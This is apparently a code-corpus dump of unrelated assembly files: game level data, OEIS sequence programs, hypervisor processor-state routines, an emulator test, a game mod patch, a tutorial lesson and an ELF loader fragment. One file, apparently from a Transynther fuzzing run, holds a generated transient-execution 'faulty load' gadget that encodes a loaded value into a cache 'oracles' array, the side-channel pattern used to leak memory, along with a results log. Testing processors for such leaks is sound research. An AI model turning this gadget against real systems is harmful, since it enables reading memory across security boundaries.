; Original address was $B381 ; 6-2 end .word $0000 ; Alternate level layout .word $0000 ; Alternate object layout .byte LEVEL1_SIZE_03 | LEVEL1_YSTART_170 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG .byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKLOW .byte LEVEL4_BGBANK_INDEX(12) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_ATHLETIC | LEVEL5_TIME_300 .byte $5A, $00, $80, $07, $14, $03, $C2, $20, $08, $D3, $22, $08, $DE, $1A, $08, $10 .byte $30, $16, $0F, $73, $18, $0C, $73, $14, $10, $C2, $40, $19, $09, $FF
42.538462
85
0.692586
[ "Unlicense" ]
narfman0/smb3_pp1
PRG/levels/Ice/6-2End.asm
553
Assembly
Name: mn_hp_smcset.asm Type: file Size: 65916 Last-Modified: '1993-08-24T11:34:54Z' SHA-1: BB136156E9C266793F2583ED891C925363F27922 Description: null
21.428571
47
0.82
[ "MIT" ]
prismotizm/gigaleak
other.7z/NEWS.7z/NEWS/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n1/mn_hp_smcset.asm
150
Assembly
; A279512: Sierpinski octahedron numbers a(n) = 2*6^n + 3*2^n + 1. ; Submitted by Jamie Morken(s4) ; 6,19,85,457,2641,15649,93505,560257,3360001,20156929,120935425,725600257,4353576961,26121412609,156728377345,940370067457,5642220011521,33853319282689,203119914123265,1218719481593857,7312316883271681,43873901287047169,263243407697117185,1579460446132371457,9476762676693565441,56860576059960066049,341163456359357743105,2046980738155341152257,12281884428930436300801,73691306573579396579329,442147839441469937025025,2652887036648806737248257,15917322219892814653685761,95503933319356836382507009 mov $1,6 pow $1,$0 mov $2,2 pow $2,$0 add $1,$2 mul $1,2 add $2,$1 mov $0,$2 add $0,1
48.928571
498
0.839416
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/279/A279512.asm
685
Assembly
; A276866: First differences of the Beatty sequence A004976 for 2 + sqrt(5). ; 4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,4,5,4,4,4,5,4,4,4,5,4,4,4,5 mov $3,$0 mov $6,2 lpb $6,1 mov $0,$3 sub $6,1 add $0,$6 sub $0,1 cal $0,22839 ; Beatty sequence for sqrt(5). mov $2,$0 mul $2,2 add $0,$2 mov $4,$6 mov $5,$0 lpb $4,1 mov $1,$5 sub $4,1 lpe lpe lpb $3,1 sub $1,$5 mov $3,0 lpe sub $1,6 div $1,3 add $1,4
30
501
0.52069
[ "Apache-2.0" ]
karttu/loda
programs/oeis/276/A276866.asm
870
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x5481, %rsi lea addresses_A_ht+0x1a881, %rdi nop cmp $61239, %r8 mov $0, %rcx rep movsq nop nop nop nop nop xor %r8, %r8 lea addresses_UC_ht+0xb3e1, %rcx add $18544, %r9 mov $0x6162636465666768, %r15 movq %r15, %xmm5 vmovups %ymm5, (%rcx) nop nop cmp %r8, %r8 lea addresses_UC_ht+0x2dc1, %r9 nop nop nop nop add %rbx, %rbx mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%r9) nop and $21962, %rdi lea addresses_normal_ht+0x16e15, %rsi lea addresses_D_ht+0x1e501, %rdi mfence mov $127, %rcx rep movsb nop nop nop nop nop cmp $13147, %rcx lea addresses_UC_ht+0xf7f1, %rsi lea addresses_WC_ht+0x11c81, %rdi nop nop nop nop nop dec %r9 mov $83, %rcx rep movsb nop nop xor $33681, %r15 lea addresses_WC_ht+0xf981, %r9 nop nop nop add %rcx, %rcx mov (%r9), %edi nop sub %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %rbx push %rdx // Faulty Load lea addresses_WC+0xc81, %rbx and $21694, %r10 mov (%rbx), %r13 lea oracles, %rdx and $0xff, %r13 shlq $12, %r13 mov (%rdx,%r13,1), %r13 pop %rdx pop %rbx pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
43.736
2,999
0.661789
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1064.asm
5,467
Assembly
; NoirVisor - Hardware-Accelerated Hypervisor solution ; ; Copyright 2018-2022, Zero Tang. All rights reserved. ; ; This file saves processor states. ; ; This program is distributed in the hope that it will be successful, but ; without any warranty (no matter implied warranty of merchantability or ; fitness for a particular purpose, etc.). ; ; File location: ./xpf_core/windows/kpcr.asm ifdef _ia32 .686p .model flat,stdcall endif .code ifdef _amd64 noir_xsave proc xsave [rcx] ret noir_xsave endp noir_xrestore proc xrstor [rcx] ret noir_xrestore endp noir_xmmsave proc movaps xmmword ptr [rcx],xmm0 movaps xmmword ptr [rcx+10h],xmm1 movaps xmmword ptr [rcx+20h],xmm2 movaps xmmword ptr [rcx+30h],xmm3 movaps xmmword ptr [rcx+40h],xmm4 movaps xmmword ptr [rcx+50h],xmm5 movaps xmmword ptr [rcx+60h],xmm6 movaps xmmword ptr [rcx+70h],xmm7 movaps xmmword ptr [rcx+80h],xmm8 movaps xmmword ptr [rcx+90h],xmm9 movaps xmmword ptr [rcx+0A0h],xmm10 movaps xmmword ptr [rcx+0B0h],xmm10 movaps xmmword ptr [rcx+0C0h],xmm10 movaps xmmword ptr [rcx+0D0h],xmm10 movaps xmmword ptr [rcx+0E0h],xmm10 movaps xmmword ptr [rcx+0F0h],xmm10 ret noir_xmmsave endp noir_xmmrestore proc movaps xmm0,xmmword ptr[rcx] movaps xmm1,xmmword ptr[rcx+10h] movaps xmm2,xmmword ptr[rcx+20h] movaps xmm3,xmmword ptr[rcx+30h] movaps xmm4,xmmword ptr[rcx+40h] movaps xmm5,xmmword ptr[rcx+50h] movaps xmm6,xmmword ptr[rcx+60h] movaps xmm7,xmmword ptr[rcx+70h] movaps xmm8,xmmword ptr[rcx+80h] movaps xmm9,xmmword ptr[rcx+90h] movaps xmm10,xmmword ptr[rcx+0A0h] movaps xmm11,xmmword ptr[rcx+0B0h] movaps xmm12,xmmword ptr[rcx+0C0h] movaps xmm13,xmmword ptr[rcx+0D0h] movaps xmm14,xmmword ptr[rcx+0E0h] movaps xmm15,xmmword ptr[rcx+0F0h] ret noir_xmmrestore endp noir_ymmsave proc vmovaps ymmword ptr [rcx+000h],ymm0 vmovaps ymmword ptr [rcx+020h],ymm1 vmovaps ymmword ptr [rcx+040h],ymm2 vmovaps ymmword ptr [rcx+060h],ymm3 vmovaps ymmword ptr [rcx+080h],ymm4 vmovaps ymmword ptr [rcx+0A0h],ymm5 vmovaps ymmword ptr [rcx+0C0h],ymm6 vmovaps ymmword ptr [rcx+0E0h],ymm7 vmovaps ymmword ptr [rcx+100h],ymm8 vmovaps ymmword ptr [rcx+120h],ymm9 vmovaps ymmword ptr [rcx+140h],ymm10 vmovaps ymmword ptr [rcx+160h],ymm11 vmovaps ymmword ptr [rcx+180h],ymm12 vmovaps ymmword ptr [rcx+1A0h],ymm13 vmovaps ymmword ptr [rcx+1C0h],ymm14 vmovaps ymmword ptr [rcx+1E0h],ymm15 ret noir_ymmsave endp noir_ymmrestore proc vmovaps ymm0,ymmword ptr[rcx] vmovaps ymm1,ymmword ptr[rcx+020h] vmovaps ymm2,ymmword ptr[rcx+040h] vmovaps ymm3,ymmword ptr[rcx+060h] vmovaps ymm4,ymmword ptr[rcx+080h] vmovaps ymm5,ymmword ptr[rcx+0A0h] vmovaps ymm6,ymmword ptr[rcx+0C0h] vmovaps ymm7,ymmword ptr[rcx+0E0h] vmovaps ymm8,ymmword ptr[rcx+100h] vmovaps ymm9,ymmword ptr[rcx+120h] vmovaps ymm10,ymmword ptr[rcx+140h] vmovaps ymm11,ymmword ptr[rcx+160h] vmovaps ymm12,ymmword ptr[rcx+180h] vmovaps ymm13,ymmword ptr[rcx+1A0h] vmovaps ymm14,ymmword ptr[rcx+1C0h] vmovaps ymm15,ymmword ptr[rcx+1E0h] ret noir_ymmrestore endp noir_ffxsave proc fxsave [rcx] ret noir_ffxsave endp noir_ffxrestore proc fxrstor [rcx] ret noir_ffxrestore endp noir_fxsave proc fxsave [rcx] ; Determine if FFXSR is enabled. cmp qword ptr[rcx+464],0 jz non_ffxs ; FFXSR is enabled. Save XMMs manually. add rcx,160 call noir_xmmsave non_ffxs: ret noir_fxsave endp noir_fxrestore proc fxrstor [rcx] ; Determine if FFXSR is enabled. cmp qword ptr[rcx+464],0 jz non_ffxr ; FFXSR is enabled. Restore XMMs manually. add rcx,160 call noir_xmmrestore non_ffxr: ret noir_fxrestore endp ifdef _llvm __inbyte proc mov dx,cx in al,dx ret __inbyte endp __outbyte proc mov al,dl mov dx,cx out dx,al ret __outbyte endp endif noir_lgdt proc lgdt fword ptr [rcx] ret noir_lgdt endp noir_lldt proc lldt cx ret noir_lldt endp noir_ltr proc ltr cx ret noir_ltr endp noir_sgdt proc sgdt fword ptr [rcx] ret noir_sgdt endp noir_sldt proc sldt word ptr [rcx] ret noir_sldt endp noir_str proc str word ptr [rcx] ret noir_str endp noir_get_segment_attributes proc and rdx,0fff8h add rcx,rdx mov ax,word ptr[rcx+5] and ax,0f0ffh ret noir_get_segment_attributes endp noir_save_processor_state proc ; Function start. Initialize shadow space on stack. sub rsp,20h push rbx mov rbx,rcx ; Initialize the Structure with zero. push rdi cld mov rdi,rcx mov rcx,2ch xor rax,rax rep stosq pop rdi ; Save cs,ds,es,fs,gs,ss Selectors mov word ptr[rbx],cs mov word ptr[rbx+10h],ds mov word ptr[rbx+20h],es mov word ptr[rbx+30h],fs mov word ptr[rbx+40h],gs mov word ptr[rbx+50h],ss ; Save cs,ds,es,fs,gs,ss Limits lsl eax,word ptr[rbx] mov dword ptr[rbx+04h],eax lsl eax,word ptr[rbx+10h] mov dword ptr[rbx+14h],eax lsl eax,word ptr[rbx+20h] mov dword ptr[rbx+24h],eax lsl eax,word ptr[rbx+30h] mov dword ptr[rbx+34h],eax lsl eax,word ptr[rbx+40h] mov dword ptr[rbx+44h],eax lsl eax,word ptr[rbx+50h] mov dword ptr[rbx+54h],eax ; Save Task Register State str word ptr[rbx+60h] lsl eax,word ptr[rbx+60h] mov dword ptr[rbx+64h],eax mov rax,qword ptr gs:[8h] mov qword ptr[rbx+68h],rax ; Save Global Descriptor Table Register sgdt fword ptr[rbx+76h] shr dword ptr[rbx+74h],16 ; Save Interrupt Descriptor Table Register sidt fword ptr[rbx+86h] shr dword ptr[rbx+84h],16 ; Save Segment Attributes - CS mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx] call noir_get_segment_attributes mov word ptr[rbx+2h],ax ; Save Segment Attributes - DS mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+10h] call noir_get_segment_attributes mov word ptr[rbx+12h],ax ; Save Segment Attributes - ES mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+20h] call noir_get_segment_attributes mov word ptr[rbx+22h],ax ; Save Segment Attributes - FS mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+30h] call noir_get_segment_attributes mov word ptr[rbx+32h],ax ; Save Segment Attributes - GS mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+40h] call noir_get_segment_attributes mov word ptr[rbx+42h],ax ; Save Segment Attributes - SS mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+50h] call noir_get_segment_attributes mov word ptr[rbx+52h],ax ; Save Segment Attributes - TR mov rcx,qword ptr[rbx+78h] mov dx,word ptr[rbx+60h] call noir_get_segment_attributes mov word ptr[rbx+62h],ax ; Save LDT Register Selector sldt word ptr[rbx+90h] ; Save Control Registers mov rax,cr0 mov qword ptr[rbx+0a0h],rax mov rax,cr2 mov qword ptr[rbx+0a8h],rax mov rax,cr3 mov qword ptr[rbx+0b0h],rax mov rax,cr4 mov qword ptr[rbx+0b8h],rax mov rax,cr8 mov qword ptr[rbx+0c0h],rax ; Save Debug Registers mov rax,dr0 mov qword ptr[rbx+0c8h],rax mov rax,dr1 mov qword ptr[rbx+0d0h],rax mov rax,dr2 mov qword ptr[rbx+0d8h],rax mov rax,dr3 mov qword ptr[rbx+0e0h],rax mov rax,dr6 mov qword ptr[rbx+0e8h],rax mov rax,dr7 mov qword ptr[rbx+0f0h],rax ; Save Model Specific Registers ; Save SysEnter_CS mov ecx,174h rdmsr mov dword ptr[rbx+0f8h],eax mov dword ptr[rbx+0fch],edx ; Save SysEnter_ESP inc ecx rdmsr mov dword ptr[rbx+100h],eax mov dword ptr[rbx+104h],edx ; Save SysEnter_EIP inc ecx rdmsr mov dword ptr[rbx+108h],eax mov dword ptr[rbx+10ch],edx ; Save Debug Control MSR mov ecx,1d9h rdmsr mov dword ptr[rbx+110h],eax mov dword ptr[rbx+114h],edx ; Save PAT mov ecx,277h rdmsr mov dword ptr[rbx+118h],eax mov dword ptr[rbx+11ch],edx ; Save EFER mov ecx,0c0000080h rdmsr mov dword ptr[rbx+120h],eax mov dword ptr[rbx+124h],edx ; Save STAR inc ecx rdmsr mov dword ptr[rbx+128h],eax mov dword ptr[rbx+12ch],edx ; Save LSTAR inc ecx rdmsr mov dword ptr[rbx+130h],eax mov dword ptr[rbx+134h],edx ; Save CSTAR inc ecx rdmsr mov dword ptr[rbx+138h],eax mov dword ptr[rbx+13ch],edx ; Save SFMASK inc ecx rdmsr mov dword ptr[rbx+144h],edx mov dword ptr[rbx+140h],eax ; Save FS Base mov ecx,0c0000100h rdmsr shl rdx,32 or rdx,rax mov qword ptr[rbx+148h],rdx ; Save to MSR-State Area mov qword ptr[rbx+38h],rdx ; Save to Segment State Area ; Save GS Base inc ecx rdmsr shl rdx,32 or rdx,rax mov qword ptr[rbx+150h],rdx ; Save to MSR-State Area mov qword ptr[rbx+48h],rdx ; Save to Segment State Area ; Save GS Swap inc ecx rdmsr mov dword ptr[rbx+158h],eax mov dword ptr[rbx+15ch],edx ; MSR Saving is Over pop rbx ; Function end. Finalize shadow space on stack. add rsp,20h ret noir_save_processor_state endp noir_xgetbv proc xor eax,eax xgetbv shl rdx,32 or rax,rdx ret noir_xgetbv endp noir_xsetbv proc mov eax,edx shr rdx,32 xsetbv ret noir_xsetbv endp noir_writecr2 proc mov cr2,rcx ret noir_writecr2 endp else assume fs:nothing noir_get_segment_attributes proc gdt_base:dword,selector:word mov ecx,dword ptr[gdt_base] mov dx,word ptr[selector] and dx,0fff8h add ecx,edx and ax,0f0ffh ret noir_get_segment_attributes endp noir_save_processor_state proc uses edi state:dword ; Load Parameter and Initialize. mov edi,dword ptr[state] mov ecx,4ch xor eax,eax cld rep stosd ; Save cs,ds,es,fs,gs,ss Selectors mov word ptr[edi],cs mov word ptr[edi+10h],ds mov word ptr[edi+20h],es mov word ptr[edi+30h],fs mov word ptr[edi+40h],gs mov word ptr[edi+50h],ss ; Save cs,ds,es,fs,gs,ss Limits lsl eax,word ptr[edi] mov dword ptr[edi+04h],eax lsl eax,word ptr[edi+10h] mov dword ptr[edi+14h],eax lsl eax,word ptr[edi+20h] mov dword ptr[edi+24h],eax lsl eax,word ptr[edi+30h] mov dword ptr[edi+34h],eax lsl eax,word ptr[edi+40h] mov dword ptr[edi+44h],eax lsl eax,word ptr[edi+50h] mov dword ptr[edi+54h],eax ; Save Task Register State str word ptr[edi+60h] lsl eax,word ptr[edi+60h] mov dword ptr[edi+64h],eax mov eax,dword ptr fs:[40h] mov dword ptr[edi+68h],eax ; Save Global Descriptor Table Register sgdt fword ptr[edi+76h] shr dword ptr[edi+74h],16 ; Save Interrupt Descriptor Table Register sidt fword ptr[edi+86h] shr dword ptr[edi+84h],16 ; Save Segment Attributes - CS push cs push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+2h],ax ; Save Segment Attributes - DS push ds push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+12h],ax ; Save Segment Attributes - ES push es push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+22h],ax ; Save Segment Attributes - FS push fs push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+32h],ax ; Save Segment Attributes - GS push gs push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+42h],ax ; Save Segment Attributes - SS push ss push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+52h],ax ; Save Segment Attributes - TR push dword ptr[edi+60h] push dword ptr[edi+78h] call noir_get_segment_attributes mov word ptr[edi+62h],ax ; Save LDT Register Selector sldt word ptr[edi+90h] ; Save Control Registers mov eax,cr0 mov dword ptr[edi+0a0h],eax mov eax,cr2 mov dword ptr[edi+0a4h],eax mov eax,cr3 mov dword ptr[edi+0a8h],eax mov eax,cr4 mov dword ptr[edi+0ach],eax ; Save Debug Registers mov eax,dr0 mov dword ptr[edi+0b0h],eax mov eax,dr1 mov dword ptr[edi+0b4h],eax mov eax,dr2 mov dword ptr[edi+0b8h],eax mov eax,dr3 mov dword ptr[edi+0bch],eax mov eax,dr6 mov dword ptr[edi+0c0h],eax mov eax,dr7 mov dword ptr[edi+0c4h],eax ; Save Model-Specific Registers ; Save SysEnter_CS mov ecx,174h rdmsr mov dword ptr[ebx+0c8h],eax mov dword ptr[ebx+0cch],edx ; Save SysEnter_ESP inc ecx rdmsr mov dword ptr[ebx+0d0h],eax mov dword ptr[ebx+0d4h],edx ; Save SysEnter_EIP inc ecx rdmsr mov dword ptr[ebx+0d8h],eax mov dword ptr[ebx+0dch],edx ; Save Debug Control MSR mov ecx,1d9h rdmsr mov dword ptr[ebx+0e0h],eax mov dword ptr[ebx+0e4h],edx ; Save PAT mov ecx,277h rdmsr mov dword ptr[ebx+0e8h],eax mov dword ptr[ebx+0ech],edx ; Save EFER mov ecx,0c0000080h rdmsr mov dword ptr[ebx+0f0h],eax mov dword ptr[ebx+0f4h],edx ; Save STAR inc ecx rdmsr mov dword ptr[ebx+0f8h],eax mov dword ptr[ebx+0fch],edx ; Save LSTAR inc ecx rdmsr mov dword ptr[ebx+100h],eax mov dword ptr[ebx+104h],edx ; Save CSTAR inc ecx rdmsr mov dword ptr[ebx+108h],eax mov dword ptr[ebx+10ch],edx ; Save SFMASK inc ecx rdmsr mov dword ptr[ebx+110h],eax mov dword ptr[ebx+114h],edx ; Save FS Base mov ecx,0c0000100h rdmsr ; Save to MSR State mov dword ptr[edi+118h],eax mov dword ptr[edi+11ch],edx ; Save to Segment State mov dword ptr[ebx+38h],eax mov dword ptr[edi+3ch],edx ; Save GS Base inc ecx rdmsr ; Save to MSR State mov dword ptr[edi+120h],eax mov dword ptr[edi+124h],edx ; Save to Segment State mov dword ptr[ebx+48h],eax mov dword ptr[edi+4ch],edx ; Save GS Swap inc ecx rdmsr mov dword ptr[ebx+128h],eax mov dword ptr[ebx+12ch],edx ; MSR Saving is Over ret noir_save_processor_state endp noir_xsetbv proc xcr_id:dword,val_lo:dword,val_hi:dword mov eax,dword ptr [val_lo] mov edx,dword ptr [val_hi] mov ecx,dword ptr [xcr_id] xsetbv ret noir_xsetbv endp endif end
18.42577
73
0.737914
[ "MIT" ]
killvxk/NoirVisor
src/xpf_core/msvc/kpcr.asm
13,156
Assembly
%ifdef CONFIG { "RegData": { "RAX": "0x4000000000000000", "RBX": "0x4000000000000000", "RCX": "0x3ff0000000000000" }, "Env": { "FEX_X87REDUCEDPRECISION" : "1" } } %endif lea rdx, [rel data] fld tword [rdx + 8 * 0] lea rdx, [rel data2] fld tword [rdx + 8 * 0] fld st0 ; dump stack to registers mov rdx, 0xe0000000 fstp qword [rdx] mov rax, [rdx] fstp qword [rdx] mov rbx, [rdx] fstp qword [rdx] mov rcx, [rdx] hlt align 8 data: dt 1.0 dq 0 data2: dt 2.0 dq 0
12.973684
44
0.614604
[ "MIT" ]
Seas0/FEX
unittests/ASM/X87_F64/D9_C0_F64.asm
493
Assembly
[XCX_DAMAGES] moduleMatches = 0xF882D5CF, 0x30B6E091 ; 1.0.1E, 1.0.2U .origin = codecave .int $divr _divide_dmg: li r4, $divr divw r4, r31, r4 blr 0x025D896C = bla _divide_dmg [XCX_DAMAGES_1U] moduleMatches = 0xAB97DE6B ; 1.0.1U .origin = codecave .int $mult 0x025D88FC = mulli r4, r31, $mult
13.086957
55
0.717608
[ "CC0-1.0" ]
ActualMandM/cemu_graphic_packs
src/XenobladeChroniclesX/Mods/BattleDamageModGround2/patch_dmg.asm
301
Assembly
format ELF64 executable 3 entry start include 'procs.inc' segment readable executable start: mov eax, 90 add eax, 9 call iprintLF call quitProgram
14.916667
27
0.664804
[ "MIT" ]
mashingan/notes-asmtutor
linux64/lesson12.asm
179
Assembly
; BSD 3-Clause License ; Copyright (c) 2021, AtieP ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its ; contributors may be used to endorse or promote products derived from ; this software without specific prior written permission. ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; TODO: 64 bit ; Verifies if the ELF header is correct ; IN: EBX = Pointer to ELF header ; Panics if it isn't elf_verify_header: pushf cmp [ebx], dword 0x464c457f ; ELF jne .invalid_magic_number cmp [ebx+5], byte 1 ; Little endian jne .invalid_endianness cmp [ebx+16], byte 2 ; Executable jne .invalid_file_format jmp .return .invalid_magic_number: panic "elf", "Invalid magic number" .invalid_endianness: panic "elf", "Invalid endianness" .invalid_file_format: panic "elf", "Invalid file format" .return: popf ret ; Returns bitness of ELF file ; IN: EBX = ELF Header ; OUT: Bitness in EAX (If it is an invalid one, it panics) elf_get_bitness: pushf cmp [ebx+18], byte 0x03 ; x86_32 je .32_bit cmp [ebx+18], byte 0x32 ; x86_64 je .64_bit panic "elf", "File is not 32 nor 64 bit" .32_bit: mov eax, 32 jmp .return .64_bit: mov eax, 64 .return: popf ret ; Loads en ELF section into memory ; IN: EBX = Pointer to full ELF file, ECX = Section name (must start with a dot (.)), EDX = Section length (0: doesn't matter) ; OUT: EAX = Pointer to section contents (0 if not found, 1 if section is too small, 2 if section is too big, else it's a pointer) ; NOTE: If there were any errors, this subroutine will panic elf_load_section: push ebx push ecx push edx push esi push edi pushf call elf_verify_header call elf_get_bitness mov [.section_name], ecx mov [.section_length], edx cmp eax, 32 je .32_bit panic 